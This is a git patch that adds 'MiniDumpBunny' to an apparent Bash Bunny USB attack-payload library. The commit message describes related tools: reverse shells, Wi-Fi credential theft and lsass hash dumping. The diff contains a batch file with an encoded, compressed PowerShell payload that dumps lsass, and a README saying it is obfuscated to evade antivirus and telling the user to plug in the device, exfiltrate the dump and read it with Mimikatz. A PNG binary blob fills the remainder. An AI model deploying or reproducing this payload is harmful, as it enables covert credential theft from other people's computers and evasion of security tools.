From 6bacea8bc884bce5d9f2a22451eb6f6053af68d1 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Mon, 14 Mar 2022 15:25:29 +0100 Subject: [PATCH 1/5] Uploaded MiniDumpBunny (#503) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Uploaded ReverseBunny Obfuscated reverse shell via powershell * Uploaded WifiSnatch Get your targets stored wifi information and credentials, store them on your Bashbunny and hop away 🐇 * Update ReverseBunny.txt Changed payload to evade Windows Defender * Update payload.txt Added new "Eject Method" - props to Night(9o3) * Update README.md * Deleted ReverseBunny.txt Deleted because of higher risk to get caught by AV * Updated ReverseBunny to version 1.2 Updated ReverseBunny to version 1.2. - Deleted payload on disk because of AV - Added custom shell design * Updated ReverseBunny to version 1.2 Updated README for ReverseBunny update * Updated payload fixed some stupid left overs <3 * Uploaded pingUinBunny a reverse shell using icmp * Delete payloads/library/remote_access/switch1 directory * Uploaded pingUinBunny A reverse shell using icmp * Update README.md * Update README.md * Updated to PingZhell * Update Bunny.pl * Update README.md * Update README.md * Update payload.txt * Rename payloads/library/remote_access/pingUinBunny/Bunny.pl to payloads/library/remote_access/PingZhellBunny/Bunny.pl * Rename payloads/library/remote_access/pingUinBunny/PingZhell.ps1 to payloads/library/remote_access/PingZhellBunny/PingZhell.ps1 * Rename payloads/library/remote_access/pingUinBunny/README.md to payloads/library/remote_access/PingZhellBunny/README.md * Rename payloads/library/remote_access/pingUinBunny/payload.txt to payloads/library/remote_access/PingZhellBunny/payload.txt * Update payload.txt * Update README.md * Update README.md * Update Bunny.pl * Created ProcDumpBunny Dump lsass.exe with a renamed version of procdump and get the users hashes with Mimikatz * Update README.md * Update payload.txt * Updated ReverseBunny Fixed wrong DELAY commands * Updated PingZhellBunny Fixed wrong DELAY commands * Updated WifiSnatch Fixed multiple mistakes * Uploaded HashDumpBunny Use your BashBunny to dump the user hashes of your target - similar to the msf post-module. The script was obfuscated with multiple layers, so don't be confused. If you don't trust this script, run it within a save testing space - which should be best practice anyways ;) * added example picture * Update README.md * Uploaded SessionBunny Utilize SessionGopher (Slightly modified) to find PuTTY, WinSCP, and Remote Desktop saved sessions. It decrypts saved passwords for WinSCP. Extracts FileZilla, SuperPuTTY's saved session information in the sitemanager.xml file and decodes saved passwords. Afterwards decide which is important and what you want to save onto your BashBunny. * Uploaded SessionBunny Utilize the famous, here slightly modified SessionGopher script, to find PuTTY, WinSCP, and Remote Desktop saved sessions. It decrypts saved passwords for WinSCP. Extracts FileZilla, SuperPuTTY's saved session information in the sitemanager.xml file and decodes saved passwords. Decide which inforamtion you wanna take with you - save it onto your BashBunny! * Update README.md * Delete SessionBunny directory * Uploaded MiniDumpBunny Dump lsass with this rewritten and for BashBunny adapted version of Powersploits Out-MiniDump. --- .../credentials/MiniDumpBunny/MiniBunny.bat | 2 + .../credentials/MiniDumpBunny/README.md | 17 +++++++ .../credentials/MiniDumpBunny/mimi.png | Bin 0 -> 61640 bytes .../credentials/MiniDumpBunny/payload.txt | 43 ++++++++++++++++++ 4 files changed, 62 insertions(+) create mode 100644 payloads/library/credentials/MiniDumpBunny/MiniBunny.bat create mode 100644 payloads/library/credentials/MiniDumpBunny/README.md create mode 100644 payloads/library/credentials/MiniDumpBunny/mimi.png create mode 100644 payloads/library/credentials/MiniDumpBunny/payload.txt diff --git a/payloads/library/credentials/MiniDumpBunny/MiniBunny.bat b/payloads/library/credentials/MiniDumpBunny/MiniBunny.bat new file mode 100644 index 00000000..7e6ea1d9 --- /dev/null +++ b/payloads/library/credentials/MiniDumpBunny/MiniBunny.bat @@ -0,0 +1,2 @@ +&cls +powershell.exe -enc JABwAHIAbwBjAGUAcwBzACAAPQAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAGwAcwBhAHMAcwA7ACgAbgBlAHcALQBPAGIASgBFAGMAVAAgACAASQBPAC4AQwBvAE0AUAByAGUAcwBzAGkAbwBuAC4ARABlAEYAbABhAHQAZQBzAFQAcgBFAEEATQAoAFsAUwB5AHMAVABlAE0ALgBpAG8ALgBtAEUATQBPAHIAeQBzAHQAcgBlAGEAbQBdAFsAcwBZAFMAVABFAE0ALgBjAG8ATgB2AEUAcgBUAF0AOgA6AEYAcgBPAG0AYgBhAFMARQA2ADQAUwBUAHIAaQBuAGcAKAAgACcAegBWAFYAUgBiADkAbwB3AEUASAA3AG4AVgA1AHcANgBKAEIASQBKAEkAbwAxAE8AZQA2AGgAVQBhAFIAMAB0AEcANQBPAGcARQBlAG0ARwBOAEkAUQBxAFEANAA3AEcAbQAyAE4ASABqAG8ARwBpAHEAdgA5ADkANQB5AFEAbABDAGEARQBQADYAMQA2AFcAcAAvAGoAOAArAGIAdgBQADUAOAA5AG4AQQBJAEQANQBJAEEANABGAG0AcwA5AGMAaABsAHcAKwBPAE8ANgBpAFIAVQBIAHcAbQBXAFkAeABPAEsAMQBXAE4AcgBMAGYAUABBAHUAaABRAGUAMwA0AEsAdQBXAEcASwB3AG0AWAA4AEwANwBBAFoANABnAGYAVABQAEMAUQBHAFEAeABXAG0AaQBmAEcAZQBZAEkANwBUAEUAMwBQAFoAeQBhAEMAOQBqADAAOABWADYARwBCADAAWgBTAHQARABMAFMAdgBOADMARQB5ADUAQQBJAHoAOQBDAFcAMAAvAGQAbAAxAE4AdQBtAFcAQwB0AHEAegBtAHkAbABOAHoAZgAzAGcAZAB2AGsATABWADIAYgBoAFgAYQBVAHAAeABrAHUAeAA5ADcANgBnAHUAZABzAG4ANgBIAFMAQwBmAFcAbwB3ADkAcwBaAE0AcwBnAGUATQBVAFIAcgB2AGEAbQBOAFUAegBLAHgAYwBiADAAWgA3AFYATAB2ADAAUgBtAHUAbABwADUAZwBvAGIAVQBoAEQAeAA2ADAAbABtAEIAQgAwAGkAMgBNADAAawBRAHAAVABLADQAUgBpAGwAbgA1AEMAVwA4AEUAdwBUADEATABEAGQATAByAFEAbQBTAGoAcABiADUAYQBDAHIANgBwAGsAUQA4AEUAZQBMAE0ATgA4AGkAbQB0AEIAYwBxADIAQwBvAHMAcgBaADEASwBLAHkAcgBnAHUAQgBJAGQASgBWAHAAMQB3ACsANQBwAEwAYgBvAHMAdwAwAE4AMgBoAC8AQwBqAEcAMQA1AEYAWgBaAC8AdQB0ADAARwBnAHQASQBXAFMANwBDAFAAYwBIAEsAVABUAFQAYwBDAEQASABHAFcATwBtADkAVgBmAGwAOQBKAE0AMQA1AGYAdwBIADkAUwBzAEYAOQByAFYAYQBZAHAAcQBNAHcATwA1AEYAOAA0AEkAMwBDAEIAbQBCAEMAeABxAGgAQwA3AEwAZwBCACsAcwBvAGsARwBhADAASwB5AHkATQBOAG8ATABWAEIAdwBYAGoAVwBkAHEAbwA1ADMAUAB0AHkAUABBAHAAZABMADQAeQBUAHMANgBaAGMAdQA3AC8AQwBSAHQAOABVAGwANABVAEIAYQB3AFkANwBUAGwAVQBoAHMAUwBGAHkASgA1AEwAOQBMADIARwBDAHUAMQA1AHUATgBoAGoAZABlAHUAVwBVAGMANQB5AHIAQwAvAE0AQwBNAEYAWQBoAEwAaQA0AHUAQgBnAFEAegBXAEgAWAB2AEYATgBPAE4ATQBIAGIALwBqAFoAUAB5AFIAbgBLAHIAZgBxAFAAVABsAG4AUQBrAFgAZgBqAGsAMQBHAHYAVwBQAFoARAA4ADEAVgBkAFcANgBxADAARQA1AFkAYQA5AGcASwAzAFIARAB2ADkATgAwAFcAbgA3AHYAWgBGAHQAVABvADcAMQBqAGEAWgBpAC8AMABTAHQALwBoADgAUwAxAHoAMQBwAEoAMgA4AGcAVgBJAHAATwBaAFoASwB2AHcAZQBsAEoAWgBWADYAOABVAGQANwBUAHAANQBxAE8AOQBzADMAagBDAHAATwBpADQAMQBZAHMATwBWAEIAeABvAGkAUQAxAE8AZQBzADUAWQBkAHYAYgBlAGYAOABBAGYAWQBWAGgAVABJAGEAZwAxAGwAagBjAHIAVQBQAFkASwArAEkAdQBPAEUAZABYADcAcQBKADIANQBkAHoASwBmAGIAUABmAE8ANQBqAFMARQBXADQAUgBtAE4AeABEAHcAcQBpAGoATQBpAEgAMgBzAEMATgBuAEcANQBRAFEAMgByADYAMQBwAGgASwBrAEgAZwB5AFYAQgBuAHgAawBjAFUATAAyAEEAZgBZAEMAegBpAEUANwBMAGcAUQBzADgAVwBYAGQAVQBRAG8AdQB3AFUAUQBJAEsANQBZAFMASQBpAEwAYQA4ADMANQB2AHkAUQAzADQAYQBvAGMANgBpAEoARABXADAAbgBPAEMASwBSAGkAVgAwAHoASAA0ACsAQwBGAEQASgBFAFcAbgBxAFIASABtAGkAbgBzAGoAZQBpAGkAYQBQAGEATwBYAHYAUQA1AFgAVwBiAHUARwBnAEoAUgBMAEkALwBZAEQASgBlAG0AcAAyAEcAQgA5ADcAeQBiAFMAYQB0AGMAcwA3AFEASAB6AGYAUABoAEQAawBlAEkAcgBaADAAcwBOAHYARABlAEkAdQBBAGgAUAB5AHEAbAB3AHQAZgA0AEEAJwAgACkAIAAsAFsAcwB5AFMAdABlAG0ALgBJAE8ALgBDAE8AbQBQAFIAZQBTAFMAaQBPAG4ALgBjAG8AbQBwAHIARQBTAFMAaQBPAE4ATQBvAEQARQBdADoAOgBEAGUAQwBPAE0AcAByAGUAcwBTACAAKQB8ACAAZgBPAFIARQBhAGMAaAAgAHsAIABuAGUAdwAtAE8AYgBKAEUAYwBUACAAIABJAG8ALgBzAFQAUgBlAEEATQBSAGUAQQBkAGUAUgAoACQAXwAgACwAWwBzAHkAUwBUAGUAbQAuAHQARQB4AFQALgBlAG4AQwBvAEQASQBuAGcAXQA6ADoAYQBTAEMASQBJACAAKQAgAH0AKQAuAFIARQBBAEQAdABvAEUAbgBkACgAIAApAHwAaQBuAHYAbwBLAEUALQBlAHgAcABSAEUAUwBTAGkAbwBOAA== \ No newline at end of file diff --git a/payloads/library/credentials/MiniDumpBunny/README.md b/payloads/library/credentials/MiniDumpBunny/README.md new file mode 100644 index 00000000..a6fba8e0 --- /dev/null +++ b/payloads/library/credentials/MiniDumpBunny/README.md @@ -0,0 +1,17 @@ +**Title: MiniDumpBunny** + +Author: 0iphor13 + +Version: 1.0 + +What is MiniDumpBunny? +# +*MiniDumpBunny uses Powersploits Out-MiniDump script to dump lsass. The script was rewritten, adapted for BashBunny usage and obfuscated in multiple ways to evade Antivirus.* +# + +**Instruction:** + +Plug in your BashBunny equipped with the obfuscated MiniBunny.bat file, wait a few seconds, go away. +# +Exfiltrate the .dmp file and read it with Mimikatz. +![alt text](https://github.com/0iphor13/bashbunny-payloads/blob/master/payloads/library/credentials/MiniDumpBunny/mimi.png) \ No newline at end of file diff --git a/payloads/library/credentials/MiniDumpBunny/mimi.png b/payloads/library/credentials/MiniDumpBunny/mimi.png new file mode 100644 index 0000000000000000000000000000000000000000..e366dd6457c24e30204f3035d6674c619a916b16 GIT binary patch literal 61640 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 